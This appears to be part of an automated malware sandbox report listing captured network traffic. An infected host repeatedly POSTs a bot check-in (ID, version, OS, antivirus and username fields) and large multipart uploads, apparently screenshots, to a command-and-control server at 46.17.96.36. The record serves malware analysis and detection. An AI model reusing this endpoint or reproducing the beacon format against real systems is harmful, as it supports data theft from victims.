Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6bae687b4eb1df836ed8aa51280f2dcdHost: 46.17.96.36Content-Length: 111957Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----22b9bce780ae51346657ff6c50487d5aHost: 46.17.96.36Content-Length: 107598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
